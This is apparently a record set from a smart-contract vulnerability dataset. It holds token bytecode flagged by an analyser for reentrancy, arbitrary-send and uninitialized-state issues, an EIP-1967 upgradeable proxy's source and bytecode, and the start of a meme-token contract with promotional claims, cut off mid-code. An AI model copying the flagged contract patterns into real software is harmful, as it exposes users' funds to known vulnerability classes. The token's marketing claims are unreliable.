09054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204d7f1806592a4b050dd085bba7a303967c8410669f107d22efd3f82449c3047764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,075
0x8FE74471F198E426e96bE65f40EeD1F8BA96e54f
// SPDX-License-Identifier: MIT pragma solidity >=0.6.8; // /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { // _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe61461005f5780634f1ef286146100925780635c60da1b146101125780638f28397014610143578063f851a4401461017657610055565b3661005557005b61005d61018b565b005b34801561006b57600080fd5b5061005d6004803603602081101561008257600080fd5b50356001600160a01b03166101a5565b61005d600480360360408110156100a857600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d357600080fd5b8201836020820111156100e557600080fd5b8035906020019184600183028401116401000000008311171561010757600080fd5b5090925090506101df565b34801561011e57600080fd5b5061012761028c565b604080516001600160a01b039092168252519081900360200190f35b34801561014f57600080fd5b5061005d6004803603602081101561016657600080fd5b50356001600160a01b03166102c9565b34801561018257600080fd5b50610127610383565b6101936103b4565b6101a361019e610414565b610439565b565b6101ad61045d565b6001600160a01b0316336001600160a01b031614156101d4576101cf81610482565b6101dc565b6101dc61018b565b50565b6101e761045d565b6001600160a01b0316336001600160a01b0316141561027f5761020983610482565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610266576040519150601f19603f3d011682016040523d82523d6000602084013e61026b565b606091505b505090508061027957600080fd5b50610287565b61028761018b565b505050565b600061029661045d565b6001600160a01b0316336001600160a01b031614156102be576102b7610414565b90506102c6565b6102c661018b565b90565b6102d161045d565b6001600160a01b0316336001600160a01b031614156101d4576001600160a01b03811661032f5760405162461bcd60e51b81526004018080602001828103825260368152602001806105816036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035861045d565b604080516001600160a01b03928316815291841660208301528051918290030190a16101cf816104c2565b600061038d61045d565b6001600160a01b0316336001600160a01b031614156102be576102b761045d565b3b151590565b6103bc61045d565b6001600160a01b0316336001600160a01b0316141561040c5760405162461bcd60e51b815260040180806020018281038252603281526020018061054f6032913960400191505060405180910390fd5b6101a36101a3565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610458573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61048b816104e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104ef816103ae565b61052a5760405162461bcd60e51b815260040180806020018281038252603b8152602001806105b7603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220a8d3ca4f14ffb6000287e26314745d2938b42aa29b6e7a019351180a32b693d064736f6c63430007020033
{"success": true, "error": null, "results": {}}
1,076
0x9a700d557390880f353a90ecd539fcd1779464cb
// SPDX-License-Identifier: UNLICENSE /** 📈ELONLGBTQ https://t.me/ElonLGBTQ Transaction Tax : 12% Total Supply: 100,000,000 Max Buy: 1% Initial Liquidity Pool: 3.5 ETH Liquidity will be locked 1month after launched 🔐 🚫 No Team Token 🚫 No Pre-Sale **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, 